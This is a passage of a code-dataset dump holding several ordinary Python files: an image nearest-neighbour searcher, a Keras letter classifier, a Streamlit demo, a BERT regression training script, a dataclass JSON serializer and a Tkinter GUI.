"franmassello/flaskTest", "sub_path": "functions/gcd_euclides.py", "file_name": "gcd_euclides.py", "file_ext": "py", "file_size_in_byte": 499, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.abort", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 16, "usage_type": "call"}]} {"seq_id": "16784862242", "text": "import os\nimport numpy as np\nfrom sklearn.neighbors import NearestNeighbors\nimport csv\n\nclass Searcher:\n def __init__(self, index_path):\n self.index_path = index_path\n\n def search(self, query_features, neighbors):\n results = {}\n feature_list = []\n img_ids_all = []\n\n\n with open(self.index_path) as index_file:\n reader = csv.reader(index_file)\n\n for row in reader:\n feature = [float(x) for x in row[1:]]\n img_ids_all.append(row[0])\n feature_list.append(feature)\n\n feature_array = np.array(feature_list)\n\n neighbor_model = NearestNeighbors(n_neighbors = neighbors)\n neighbor_model.fit(feature_array)\n\n dist, results = neighbor_model.kneighbors([query_features])\n\n\n index_file.close()\n img_ids = []\n\n for result in results[0]:\n img_ids.append(img_ids_all[result])\n\n return dist[0], img_ids\n", "repo_name": "oskarcokl/CBIR-multiple", "sub_path": "cnn/searcher.py", "file_name": "searcher.py", "file_ext": "py", "file_size_in_byte": 978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "csv.reader", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.neighbors.NearestNeighbors", "line_number": 26, "usage_type": "call"}]} {"seq_id": "42072309458", "text": "import numpy as np\nimport scipy.misc\nfrom keras.models import model_from_json\nfrom matplotlib import pyplot as plt\nimport os\nimport subprocess\nimport time\n\nclass CNN_Model:\n '''Creates an instance of Convolution Neutral Network classification model'''\n def __init__(self):\n self.num_to_abc = {0: 'A', 1:'B', 2:'C',3:'D',4:'E',5:'F',6:'G',7:'H',8:'I',9:'J',10:'K',11:'L',12:'M' \\\n ,13:'N',14:'O',15:'P',16:'Q',17:'R',18:'S',19:'T',20:'U',21:'V',22:'W',23:'X',24:'Y',25:'Z'}\n self.model = self.load_model('char74k_architecture.json', 'char74k_weights.h5')\n\n def load_model(self, model_def_fname, model_weight_fname):\n model = model_from_json(open(model_def_fname).read())\n model.compile(loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy'])\n model.load_weights(model_weight_fname)\n return model\n\n def scale_img(self, i):\n scaled_img = np.transpose(scipy.misc.imresize(i, (32, 32)), \n (2, 0, 1)).astype('float32')\n scaled_img = np.array(scaled_img) / 255\n return scaled_img.reshape(1,3,32,32)\n\n def classify(self,img):\n # load image and rescale it\n scaled_img = self.scale_img(img)\n prediction = self.model.predict_classes(scaled_img)[0]\n return self.num_to_abc[prediction]\n", "repo_name": "ashishbb/BaxterPlaysScrabble", "sub_path": "Classification.py", "file_name": "Classification.py", "file_ext": "py", "file_size_in_byte": 1304, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keras.models.model_from_json", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.misc.misc.imresize", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.misc.misc", "line_number": 23, "usage_type": "attribute"}, {"api_name": "scipy.misc", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}]} {"seq_id": "73573785188", "text": "import streamlit as st\nimport pandas as pd\nimport numpy as np\n# import matplotlib.pyplot as plt\n\ndef showthis():\n # Title\n st.title(\"Exploring Streamlit Capabilities\")\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='1'):\n return\n\n\n # Header\n st.header(\"Text and Markdown\")\n if not st.checkbox(\":green[Go 2 next feature]\",key='2'):\n return\n \n # Text\n st.text(\"This is a text widget.\")\n if not st.checkbox(\":green[Go 2 next feature]\",key='3'):\n return\n \n\n # Markdown\n st.markdown(\"### This is a markdown widget.\")\n if not st.checkbox(\":green[Go 2 next feature]\",key='4'):\n return\n \n\n # Displaying code\n st.code(\"\"\"\nimport streamlit as st\nst.title('Hello, Streamlit!')\n \"\"\")\n if not st.checkbox(\":green[Go 2 next feature]\",key='5'):\n return\n\n # Displaying data\n st.header(\"Displaying Data\")\n if not st.checkbox(\":green[Go 2 next feature]\",key='6'):\n return\n\n # DataFrame\n data = pd.DataFrame({\n \"Name\": [\"John\", \"Emily\", \"Josh\"],\n \"Age\": [28, 35, 42],\n \"City\": [\"New York\", \"London\", \"Sydney\"]\n })\n\n st.dataframe(data)\n if not st.checkbox(\":green[Go 2 next feature]\",key='7'):\n return\n\n # Table\n st.table(data)\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='8'):\n return\n # Plotting\n st.header(\"Plotting\")\n\n # # Line chart\n # x = np.linspace(0, 10, 100)\n # y = np.sin(x)\n # plt.plot(x, y)\n # st.pyplot()\n\n # if not st.checkbox(\":green[Go 2 next feature]\",key='9'):\n # return\n # # Bar chart\n # data = {\n # \"Category\": [\"A\", \"B\", \"C\", \"D\"],\n # \"Values\": [10, 15, 7, 12]\n # }\n # df = pd.DataFrame(data)\n # st.bar_chart(df.set_index(\"Category\"))\n\n # if not st.checkbox(\":green[Go 2 next feature]\",key='10'):\n # return\n # # Interactive widgets\n st.header(\"Interactive Widgets\")\n\n # Slider\n number = st.slider(\"Select a number\", 0, 10, 5)\n st.write(\"You selected:\", number)\n\n # Checkbox\n if st.checkbox(\"Show data\"):\n st.dataframe(data)\n\n # Selectbox\n option = st.selectbox(\"Select an option\", [\"Option 1\", \"Option 2\", \"Option 3\"])\n st.write(\"You selected:\", option)\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='11'):\n return\n # Button\n if st.button(\"Click me\"):\n st.write(\"Button clicked!\")\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='12'):\n return\n # Sidebar\n st.sidebar.header(\"Sidebar\")\n st.sidebar.text(\"This is the sidebar.\")\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='13'):\n return\n # File uploader\n st.header(\"File Uploader\")\n uploaded_file = st.file_uploader(\"Upload a file\")\n if uploaded_file is not None:\n st.write(\"File uploaded successfully.\")\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='14'):\n return\n # Progress bar\n st.header(\"Progress Bar\")\n progress = st.progress(0)\n for i in range(100):\n progress.progress(i + 1)\n\n if not st.checkbox(\":green[Go 2 next feature]\",key='15'):\n return\n # Help and documentation\n st.header(\"Help and Documentation\")\n st.help(pd.DataFrame)\n st.markdown(\"[Streamlit Documentation](https://docs.streamlit.io)\")\n\nshowthis()", "repo_name": "code4NN/streamlit-intro", "sub_path": "Module 1/0_overview.py", "file_name": "0_overview.py", "file_ext": "py", "file_size_in_byte": 3315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "streamlit.title", "line_number": 8, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 20, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.code", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 45, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.table", "line_number": 56, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 58, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 82, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 85, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 86, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 89, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 90, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 93, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 94, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 96, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 99, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 100, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 102, "usage_type": "call"}, {"api_name": "streamlit.sidebar.header", "line_number": 105, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 105, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.text", "line_number": 106, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 106, "usage_type": "attribute"}, {"api_name": "streamlit.checkbox", "line_number": 108, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 111, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 112, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 114, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 116, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 119, "usage_type": "call"}, {"api_name": "streamlit.progress", "line_number": 120, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 124, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 127, "usage_type": "call"}, {"api_name": "streamlit.help", "line_number": 128, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 128, "usage_type": "attribute"}, {"api_name": "streamlit.markdown", "line_number": 129, "usage_type": "call"}]} {"seq_id": "71273284069", "text": "import yaml, random, time, os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch\r\nimport torch.optim as optim\r\nfrom dataloader import get_dataloader_bert\r\nfrom transformers import BertForSequenceClassification, BertTokenizer, AdamW, get_linear_schedule_with_warmup\r\n\r\nif torch.cuda.is_available():\r\n torch.backends.cudnn.deterministic = True\r\n DEVICE='cuda:0'\r\nelse:\r\n DEVICE='cpu'\r\n\r\ndef set_seed(seed):\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n torch.cuda.manual_seed_all(seed)\r\n torch.manual_seed(seed) \r\n\r\n# Function to write predictions to output file\r\ndef write_predictions(predictions, test_data_frame, out_loc):\r\n test_data_frame['pred'] = predictions\r\n output = test_data_frame[['id','pred']]\r\n output.to_csv(out_loc, index=False)\r\n \r\n print('Output file created:\\n\\t- '+os.path.abspath(out_loc))\r\n\r\n# function to get RMSE score based on ground truth and predictions\r\ndef score(truth_loc, prediction_loc):\r\n truth = pd.read_csv(truth_loc, usecols=['id','meanGrade'])\r\n pred = pd.read_csv(prediction_loc, usecols=['id','pred'])\r\n \r\n assert(sorted(truth.id) == sorted(pred.id)),\"ID mismatch between ground truth and prediction!\"\r\n \r\n data = pd.merge(truth,pred)\r\n rmse = np.sqrt(np.mean((data['meanGrade'] - data['pred'])**2))\r\n \r\n print(\"RMSE = %.6f\" % rmse)\r\n\r\n# Function for evaluation.\r\n# Get predictions in eval() mode and return the loss\r\ndef evaluate(model, valid_dataloader):\r\n epoch_loss = 0\r\n model.eval()\r\n with torch.no_grad():\r\n for input_ids_batch, attention_mask_batch, token_type_ids_batch, labels in valid_dataloader:\r\n\r\n outputs = model(input_ids_batch,\r\n attention_mask=attention_mask_batch,\r\n token_type_ids=token_type_ids_batch)\r\n predictions = outputs[0].squeeze(1)\r\n loss = torch.sqrt(((predictions - labels)**2).mean())\r\n epoch_loss += loss.item()\r\n\r\n return epoch_loss / len(valid_dataloader)\r\n\r\n\r\ndef main(params, train_dataloader, valid_dataloader, optimizer, scheduler, model):\r\n\r\n for epoch in range(params['hyperparameters']['epochs']):\r\n start_time = time.time()\r\n # model training\r\n model.train() \r\n epoch_loss = 0\r\n\r\n for input_ids_batch, attention_mask_batch, token_type_ids_batch, labels in train_dataloader:\r\n # Zero the gradients\r\n optimizer.zero_grad()\r\n # Get predictions after forward pass of the model\r\n outputs = model(input_ids_batch,\r\n attention_mask=attention_mask_batch,\r\n token_type_ids=token_type_ids_batch)\r\n predictions = outputs[0].squeeze(1)\r\n # compute the loss\r\n loss = torch.sqrt(((predictions - labels)**2).mean())\r\n \r\n # Gradients are calculated for each parameter\r\n # Parameters are updated using the gradients and optimizer algorithm\r\n # Learning rate is updated\r\n loss.backward()\r\n optimizer.step()\r\n scheduler.step()\r\n epoch_loss += loss.item()\r\n\r\n average_epoch_loss = epoch_loss / len(train_dataloader)\r\n \r\n end_time = time.time()\r\n\r\n average_epoch_valid_loss = evaluate(model, valid_dataloader)\r\n\r\n print(f'Epoch: {epoch+1:02} | Epoch Time: {end_time-start_time}')\r\n print(f'\\tTrain Loss: {average_epoch_loss:.3f} | Val. Loss: {average_epoch_valid_loss:.3f} ')\r\n\r\n return model\r\n\r\ndef test_predictions(model, test_dataloader):\r\n test_loss = 0\r\n test_predictions = []\r\n\r\n model.eval()\r\n\r\n with torch.no_grad():\r\n\r\n for input_ids_batch, attention_mask_batch, token_type_ids_batch, labels in test_dataloader:\r\n \r\n predictions__batch = model(input_ids_batch,\r\n attention_mask=attention_mask_batch,\r\n token_type_ids=token_type_ids_batch)[0].squeeze(1)\r\n test_predictions += predictions__batch.tolist()\r\n loss = torch.sqrt(((predictions__batch - labels)**2).mean())\r\n test_loss += loss.item()\r\n\r\n average_test_loss = test_loss / len(test_dataloader)\r\n\r\n print(f'| Test Loss: {average_test_loss:.6f} |')\r\n\r\n out_loc = 'task-1-output.csv'\r\n test = pd.read_csv(params['dataset']['data_dir']+'test.csv')\r\n write_predictions(test_predictions, test, out_loc)\r\n\r\n truth_loc = params['dataset']['data_dir']+'test.csv'\r\n prediction_loc = 'task-1-output.csv'\r\n score(truth_loc, prediction_loc)\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n set_seed(234)\r\n # the arguments are given from a config file\r\n with open(\"/content/drive/MyDrive/Funniness_estimation/bert_config.yaml\") as file:\r\n params = yaml.safe_load(file)\r\n\r\n # Bert tokenizer\r\n tokenizer = BertTokenizer.from_pretrained(params['model']['name'],do_lower_case=True)\r\n # dataloader for bert model\r\n train_dataloader, valid_dataloader, test_dataloader = get_dataloader_bert(params, DEVICE, tokenizer)\r\n # Construct the model\r\n # Load the BertForSequenceClassification model\r\n model = BertForSequenceClassification.from_pretrained(\"bert-base-uncased\",\r\n num_labels = 1, \r\n output_attentions = False,\r\n output_hidden_states = False)\r\n\r\n TOTSTEPS = len(train_dataloader) * params['hyperparameters']['epochs'] * 2\r\n WUSTEPS = int(TOTSTEPS * float(params['hyperparameters']['WU']))\r\n # Apply weight decay to all parameters other than bias and layer normalization terms\r\n no_decay = ['bias', 'LayerNorm.weight']\r\n optimizer_grouped_parameters = [\r\n {'params': [p for n, p in model.named_parameters() if \"bert\" not in n], 'lr': float(params['hyperparameters']['LRATE']), 'weight_decay': float(params['hyperparameters']['WDECAY'])},\r\n {'params': [p for n, p in model.named_parameters() if \"bert\" in n], 'weight_decay': float(params['hyperparameters']['WDECAY'])}\r\n ]\r\n # define optimizer and scheduler\r\n optimizer = AdamW(optimizer_grouped_parameters, lr=float(params['hyperparameters']['FRATE']), eps = float(params['hyperparameters']['EPS']))\r\n scheduler = get_linear_schedule_with_warmup(optimizer, \r\n num_warmup_steps = WUSTEPS,\r\n num_training_steps = TOTSTEPS)\r\n\r\n model = model.to(DEVICE)\r\n model = main(params, train_dataloader, valid_dataloader, optimizer, scheduler, model)\r\n test_predictions(model, test_dataloader)\r\n\r\n\r\n\r\n\r\n", "repo_name": "Anjali-Poornima666/Funniess_Estimation_NLP", "sub_path": "train_bert.py", "file_name": "train_bert.py", "file_ext": "py", "file_size_in_byte": 6720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.cuda.is_available", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 10, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 53, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 76, "usage_type": "call"}, {"api_name": "time.time", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 111, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 119, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 132, "usage_type": "call"}, {"api_name": "transformers.BertTokenizer.from_pretrained", "line_number": 135, "usage_type": "call"}, {"api_name": "transformers.BertTokenizer", "line_number": 135, "usage_type": "name"}, {"api_name": "dataloader.get_dataloader_bert", "line_number": 137, "usage_type": "call"}, {"api_name": "transformers.BertForSequenceClassification.from_pretrained", "line_number": 140, "usage_type": "call"}, {"api_name": "transformers.BertForSequenceClassification", "line_number": 140, "usage_type": "name"}, {"api_name": "transformers.AdamW", "line_number": 154, "usage_type": "call"}, {"api_name": "transformers.get_linear_schedule_with_warmup", "line_number": 155, "usage_type": "call"}]} {"seq_id": "41954056880", "text": "from __future__ import annotations\n\nimport dataclasses\nimport gzip\nimport json\nfrom dataclasses import dataclass\nfrom datetime import date, datetime\nfrom typing import (\n Any,\n Type,\n TypeVar,\n Union,\n get_args,\n get_origin,\n get_type_hints,\n)\n\nT = TypeVar(\"T\", bound=\"Deserializable\")\n\n\n@dataclass\nclass Deserializable:\n \"\"\"实现递归的从 JSON 对象构建（仅针对 dataclass 及基础类型）\"\"\"\n\n @staticmethod\n def deserialize_object(ty: type, obj: Any) -> Any:\n \"\"\"读取对象并转化为指定的类型\"\"\"\n if get_origin(ty) is Union:\n # 应为 Optional\n assert get_args(ty)[1] is type(None)\n if obj is None:\n return None\n ty = get_args(ty)[0]\n return Deserializable.deserialize_object(ty, obj)\n if get_origin(ty) is list:\n ty = get_args(ty)[0]\n return [Deserializable.deserialize_object(ty, item) for item in obj]\n if get_origin(ty) is tuple:\n return [\n Deserializable.deserialize_object(t, item)\n for (t, item) in zip(get_origin(ty), obj)\n ]\n if get_origin(ty) is dict:\n key_type, value_type = get_args(ty)\n return {\n Deserializable.deserialize_object(\n key_type, key\n ): Deserializable.deserialize_object(value_type, value)\n for key, value in obj.items()\n }\n if issubclass(ty, Deserializable):\n return ty.deserialize(obj)\n if issubclass(ty, datetime):\n return datetime.fromisoformat(obj)\n return ty(obj)\n\n @classmethod\n def deserialize(cls: Type[T], obj: dict) -> T:\n \"\"\"读取对象并转化为当前类型\"\"\"\n kwargs = {}\n type_hints = get_type_hints(cls)\n for field in dataclasses.fields(cls):\n if not field.repr:\n continue\n name = field.name\n if name not in obj:\n continue\n if obj[name] is None:\n kwargs[name] = None\n continue\n kwargs[name] = cls.deserialize_object(type_hints[name], obj[name])\n return cls(**kwargs)\n\n @classmethod\n def read_compressed_file(cls: Type[T], path: str) -> T:\n \"\"\"从指定的文件中读取对象\"\"\"\n with gzip.open(path, \"rt\") as file:\n obj = json.load(file)\n return cls.deserialize(obj)\n\n @staticmethod\n def serialize_object(obj: Any, exclude_non_repr: bool = True) -> Any:\n \"\"\"递归地转化为可以 JSON 序列化的字典对象\"\"\"\n if isinstance(obj, Deserializable):\n return obj.serialize(exclude_non_repr=exclude_non_repr)\n if isinstance(obj, (list, tuple)):\n return [\n Deserializable.serialize_object(item, exclude_non_repr=exclude_non_repr)\n for item in obj\n ]\n if isinstance(obj, dict):\n return {\n Deserializable.serialize_object(\n key, exclude_non_repr=exclude_non_repr\n ): Deserializable.serialize_object(\n value, exclude_non_repr=exclude_non_repr\n )\n for key, value in obj.items()\n }\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n return obj\n\n def serialize(self, exclude_non_repr: bool = True) -> dict:\n \"\"\"递归地转化为可以 JSON 序列化的字典对象\n\n 如果 exclude_repr，则不序列化其中 repr 为 False 的字段\n （保存数据时应为 True，向前端发送数据时应为 False）\n\n date 和 datetime 会转换为 isoformat 字符串\"\"\"\n result = {}\n for field in dataclasses.fields(self):\n if exclude_non_repr and not field.repr:\n continue\n result[field.name] = self.serialize_object(\n getattr(self, field.name), exclude_non_repr=exclude_non_repr\n )\n return result\n\n def write_compressed_data(self, path: str) -> None:\n \"\"\"将当前对象压缩保存于指定文件\"\"\"\n with gzip.open(path, \"wt\") as file:\n json.dump(self.serialize(), file)\n", "repo_name": "Tuyixiang/WDK-Pro-League", "sub_path": "backend/game_data/io.py", "file_name": "io.py", "file_ext": "py", "file_size_in_byte": 4284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TypeVar", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.get_origin", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.get_args", "line_number": 30, "usage_type": "call"}, {"api_name": "typing.get_args", "line_number": 33, "usage_type": "call"}, {"api_name": "typing.get_origin", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.get_args", "line_number": 36, "usage_type": "call"}, {"api_name": "typing.get_origin", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.get_origin", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.get_origin", "line_number": 43, "usage_type": "call"}, {"api_name": "typing.get_args", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "argument"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.get_type_hints", "line_number": 61, "usage_type": "call"}, {"api_name": "dataclasses.fields", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Type", "line_number": 75, "usage_type": "name"}, {"api_name": "gzip.open", "line_number": 77, "usage_type": "call"}, {"api_name": "json.load", "line_number": 78, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 100, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 100, "usage_type": "name"}, {"api_name": "dataclasses.fields", "line_number": 112, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 122, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 123, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 21, "usage_type": "name"}]} {"seq_id": "40232976044", "text": "from tkinter import *\nimport tkinter as tk\nfrom tkinter import ttk\nimport doctors_page\nimport layout\n\nfrom PIL import Image, ImageTk\n\nfrom threading import Timer\n\nclass main_page_layout(layout.main_layout):\n def __init__(self):\n super().__init__()\n self.top_mainpage_frame=Frame(self.top_overlay_frame, bg='black', width = self.top_overlay_width, height = self.top_overlay_height)\n self.side_mainpage_frame=Frame(self.side_overlay_frame, bg='white', width = self.side_overlay_width, height = self.side_overlay_height)\n self.center_mainpage_frame=Frame(self.center_overlay_frame, bg='white', width = self.center_overlay_width, height = self.center_overlay_height)\n \n self.top_mainpage_frame.place(x=0,y=0)\n self.side_mainpage_frame.place(x=0,y=0)\n self.center_mainpage_frame.place(x=0,y=0)\n \n self.update()\n \n self.side_width=self.side_mainpage_frame.winfo_width()\n self.side_height=self.side_mainpage_frame.winfo_height()\n \n self.top_width=self.top_mainpage_frame.winfo_width()\n self.top_height=self.top_mainpage_frame.winfo_height()\n \n self.center_width=self.center_mainpage_frame.winfo_width()\n self.center_height=self.center_mainpage_frame.winfo_height()\n \n \nclass main_page_display(main_page_layout):\n def __init__(self):\n #it will call parent class again so it will make another window, so either call this class at bottom(can use super() then) or dont call super()\n super().__init__()\n \n display_image(self.side_mainpage_frame,self.side_width, self.side_height, \"C:/Users/91807/Downloads/kona/project/res/admin.jpg\")\n \n self.front_frame=Frame(self.center_mainpage_frame,bg='grey')\n self.lb_admin = Frame(self.front_frame, bg='yellow')\n self.lb_doctor = Frame(self.front_frame, bg=\"red\")\n self.lb_receptionist = Frame(self.front_frame, bg=\"blue\")\n \n self.front_frame.place(x=0,y=0,width=self.center_width,height=self.center_height,anchor='nw')\n self.front_frame.columnconfigure(0,weight=1)\n self.front_frame.columnconfigure(1,weight=1)\n self.front_frame.columnconfigure(2,weight=1)\n self.front_frame.columnconfigure(3,weight=1)\n self.front_frame.columnconfigure(4,weight=1)\n self.front_frame.columnconfigure(5,weight=1)\n self.front_frame.columnconfigure(6,weight=1)\n self.front_frame.columnconfigure(7,weight=1)\n self.front_frame.columnconfigure(8,weight=1)\n self.front_frame.columnconfigure(9,weight=1)\n \n self.front_frame.rowconfigure(0,weight=1)\n self.front_frame.rowconfigure(1,weight=1)\n self.front_frame.rowconfigure(2,weight=1)\n self.front_frame.rowconfigure(3,weight=1)\n self.front_frame.rowconfigure(4,weight=1)\n self.front_frame.rowconfigure(5,weight=1)\n self.front_frame.rowconfigure(6,weight=1)\n self.front_frame.rowconfigure(7,weight=1)\n self.front_frame.rowconfigure(8,weight=1)\n \n self.lb_admin.grid(column=1,row=3, columnspan=2, rowspan=2, sticky=NSEW)\n self.lb_doctor.grid(column=4,row=3, columnspan=2, rowspan=2, sticky=NSEW)\n self.lb_receptionist.grid(column=7,row=3, columnspan=2, rowspan=2, sticky=NSEW)\n \n self.update()\n \n self.admin_width = self.lb_admin.winfo_width()\n self.admin_height = self.lb_admin.winfo_height()\n \n display_image(self.lb_admin, self.admin_width, self.admin_height, \"C:/Users/91807/Downloads/kona/project/res/adm.jpg\")\n display_image(self.lb_doctor, self.admin_width, self.admin_height, \"C:/Users/91807/Downloads/kona/project/res/doc.jpg\", self.change_page)\n display_image(self.lb_receptionist, self.admin_width, self.admin_height, \"C:/Users/91807/Downloads/kona/project/res/recep.jpg\")\n \n def change_page(self):\n for widgets in self.center_mainpage_frame.winfo_children():\n widgets.destroy()\n for widgets in self.side_mainpage_frame.winfo_children():\n widgets.destroy()\n doctors_page.show_top_frame(self,self.top_mainpage_frame, self.rwidth, self.rheight)\n doctors_page.show_side_frame(self,self.side_mainpage_frame, self.rwidth, self.rheight, self.side_width,self.side_height)\n doctors_page.show_center_frame(self,self.center_mainpage_frame, self.rwidth, self.rheight)\n \n \n def run(self):\n self.mainloop()\n \n \nclass display_image(ttk.Button):\n def __init__(self, container, side_width, side_height, url, command=\"\"):\n #this is important using super() otherwise show_img wont work\n super().__init__()\n self.side_width = side_width\n self.side_height = side_height\n self.url = url\n self.command=command\n self.show_img(container)\n \n def get_img(self):\n img_file=Image.open(self.url)\n #size_fit=(int((self.rwidth/4)-8), int(self.rheight-93))\n size_fit=(self.side_width, self.side_height)\n resized_img_file=img_file.resize(size_fit ,Image.ANTIALIAS)\n self.img=ImageTk.PhotoImage(resized_img_file)\n return self.img\n \n #def show_img(self):\n def show_img(self, container):\n img = self.get_img()\n # print(self.side_width)\n btn=Button(container,image=self.img, width=self.side_width, height=self.side_height, command=self.command)\n btn.place(x=0,y=0)\n\nif __name__ == \"__main__\":\n #this should be the entry of this program.\n app = main_page_display()\n app.run()\n", "repo_name": "karticksriram92/class_based", "sub_path": "main_page.py", "file_name": "main_page.py", "file_ext": "py", "file_size_in_byte": 5610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "layout.main_layout", "line_number": 11, "usage_type": "attribute"}, {"api_name": "doctors_page.show_top_frame", "line_number": 86, "usage_type": "call"}, {"api_name": "doctors_page.show_side_frame", "line_number": 87, "usage_type": "call"}, {"api_name": "doctors_page.show_center_frame", "line_number": 88, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tkinter.ttk", "line_number": 95, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 106, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 106, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 109, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 110, "usage_type": "call"}, {"api_name": "PIL.ImageTk", 